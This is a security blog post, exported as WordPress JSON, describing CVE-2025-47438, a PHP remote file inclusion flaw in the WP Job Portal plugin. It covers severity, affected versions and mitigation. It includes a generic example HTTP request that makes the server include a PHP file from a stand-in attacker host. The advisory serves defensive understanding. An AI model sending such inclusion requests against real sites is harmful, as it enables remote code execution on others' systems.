{"id":48402,"date":"2025-06-03T11:03:05","date_gmt":"2025-06-03T11:03:05","guid":{"rendered":""},"modified":"2025-06-16T11:18:01","modified_gmt":"2025-06-16T17:18:01","slug":"cve-2025-47438-php-remote-file-inclusion-vulnerability-in-wp-job-portal","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-47438-php-remote-file-inclusion-vulnerability-in-wp-job-portal\/","title":{"rendered":"<strong>CVE-2025-47438: PHP Remote File Inclusion Vulnerability in WP Job Portal<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>This blog post delves into the technical details of the CVE-2025-47438 vulnerability-a critical PHP Remote File Inclusion (RFI) flaw that has been identified in the WP Job Portal. This vulnerability affects all versions of the portal up to and including 2.3.1. RFI vulnerabilities pose serious security threats as they provide an avenue for an attacker to execute arbitrary PHP code on the target system, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39495-high-critical-vulnerability-in-boldthemes-avantage-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"54196\">potentially leading to system<\/a> compromise or data leakage. This issue is particularly significant, given the widespread use of the WP Job Portal in businesses.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-47438<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32309-potential-system-compromise-due-to-remote-file-inclusion-in-php-program\/\"  data-wpil-monitor-id=\"56215\">Potential system compromise<\/a> or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2508984526\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>WP Job Portal | Up to and including 2.3.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13952-predictable-filename-vulnerabilities-in-aspect-software\/\"  data-wpil-monitor-id=\"55297\">vulnerability stems from the improper control of filename<\/a> for include\/require statement in the PHP program of wpjobportal. An attacker can manipulate this flaw by inducing a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0\/\"  data-wpil-monitor-id=\"54333\">PHP file from a remote<\/a> server. This file can contain malicious code, which when executed, could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5100-a-double-free-vulnerability-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"56611\">lead to the compromise of the system or potential<\/a> data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3733231405\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example showing how this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46458-critical-cross-site-request-forgery-csrf-vulnerability-leading-to-sql-injection-in-occupancyplan\/\"  data-wpil-monitor-id=\"55473\">vulnerability might be exploited using a HTTP request<\/a>. Please note this is a generic example and the real-world application may vary.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n<p>In this HTTP request, the attacker attempts to include &#8216;malicious.php&#8217; from their server. If the server processes this request, it could lead to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48828-arbitrary-php-code-execution-in-vbulletin-via-template-conditionals\/\"  data-wpil-monitor-id=\"55706\">execution of arbitrary PHP code<\/a> hosted on the attacker&#8217;s server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The primary method of resolving this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4578-sql-injection-vulnerability-in-file-provider-wordpress-plugin\/\"  data-wpil-monitor-id=\"58814\">vulnerability is by applying patches provided<\/a> by the vendor. If patches are not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can potentially detect and block attempts to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"58815\">exploit this vulnerability<\/a>. Furthermore, input validation techniques should be employed to prevent the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32925-critical-php-remote-file-inclusion-vulnerability-in-fantasticplugins-sumo-reward-points\/\"  data-wpil-monitor-id=\"55209\">inclusion of files<\/a> from untrusted sources.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This blog post delves into the technical details of the CVE-2025-47438 vulnerability-a critical PHP Remote File Inclusion (RFI) flaw that has been identified in the WP Job Portal. This vulnerability affects all versions of the portal up to and including 2.3.1. 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